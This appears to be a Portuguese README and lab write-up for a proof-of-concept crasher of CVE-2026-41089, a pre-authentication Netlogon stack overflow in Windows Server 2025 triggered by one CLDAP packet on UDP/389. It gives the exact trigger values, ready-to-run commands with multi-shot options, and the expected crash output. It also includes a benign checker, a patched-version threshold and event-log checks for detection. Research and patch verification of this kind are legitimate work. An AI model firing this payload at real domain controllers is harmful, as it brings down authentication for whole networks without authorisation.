
CVE-2026-41089 LongLogon: crasher de estouro de buffer de pilha pré-autenticação CLDAP (UDP/389) para Netlogon (lsass 0xc0000409) do Windows Server 2025 sem patch. PoC em Python somente com biblioteca padrão + write-up de laboratório.
Estouro de buffer de pilha pré-autenticação no serviço Netlogon do Windows Server 2025. Um único pacote CLDAP (UDP/389) de qualquer host na rede é suficiente: o lsass.exe morre com STATUS_STACK_BUFFER_OVERRUN (0xc0000409) e o controlador de domínio reinicia.
A resposta a um ping CLDAP do Netlogon é serializada em um buffer de pilha de 528 bytes. O servidor grava seus próprios nomes (floresta, domínio, hostname) seguidos pelo campo User controlado pelo atacante (limitado a 130 caracteres largos). Quando o preenchimento total atinge 536 bytes (buffer + cookie de pilha), o L'\0' final sobrescreve o cookie /GS e o processo trava.
O campo NtVer direciona o caminho do código: 0x02 usa o vulnerável BuildSamLogonResponse, enquanto 0x06 / 0x16 usam o BuildSamLogonResponseEx limitado (seguro). Este PoC envia NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run sonda com User=1 (benigno), mostra o preenchimento projetado, não dispara --shots N número de pacotes de estouro a enviar (padrão 1) --confirm-wait S espera antes de re-sondar após um disparo silencioso (padrão 75s) --force dispara mesmo se o preenchimento projetado for inferior a 536 bytes
Exemplo (substitua o IP e o domínio pelos valores do seu laboratório):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
Saída esperada do disparo:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
Códigos de saída: 0 travamento provável, 1 DC silencioso na sondagem inicial, 2 preenchimento abaixo de 536 bytes (limítrofe), 3 DC sobreviveu.
Nota: o script re-sonda após 75 segundos porque um único pacote silencioso também pode ser um datagrama UDP perdido. Não conclua um travamento apenas pelo silêncio.
Use o verificador oficial do repositório de pesquisa. Ele sonda com User=1, então o DC permanece ativo:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
Esperado: "PRECONDITION MET" com um preenchimento projetado de pelo menos 536 bytes.
O verificador não comprova o estado do patch: um DC corrigido segue o mesmo caminho de código e simplesmente recusa a escrita excessivamente longa. Verifique a versão do netlogon.dll no DC diretamente (< 10.0.26100.32772 = vulnerável).
No DC, depois que ele voltar:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
Procure pelo evento 1000: aplicativo com falha lsass.exe, módulo com falha netlogon.DLL, código de exceção 0xc0000409, e um horário de inicialização posterior ao disparo.
Testado no Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (sem patch), domínio de 64 caracteres + hostname de 63 caracteres (preenchimento projetado de 581 bytes). Um pacote disparado:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
Este PoC é fornecido apenas para fins educacionais e de pesquisa. Ele foi desenvolvido e testado em um ambiente de laboratório isolado no Windows Server 2025. Use por sua conta e risco.
Ao usar este script, você concorda que o autor não é responsável por qualquer perda de dados, interrupção de serviço, dano de hardware ou outras consequências diretas ou indiretas. O travamento não é idempotente: o controlador de domínio alvo irá reiniciar. Tire um snapshot antes de disparar.
Não há garantia de que este PoC funcione em um ambiente de produção ou em todas as builds do Windows Server 2025.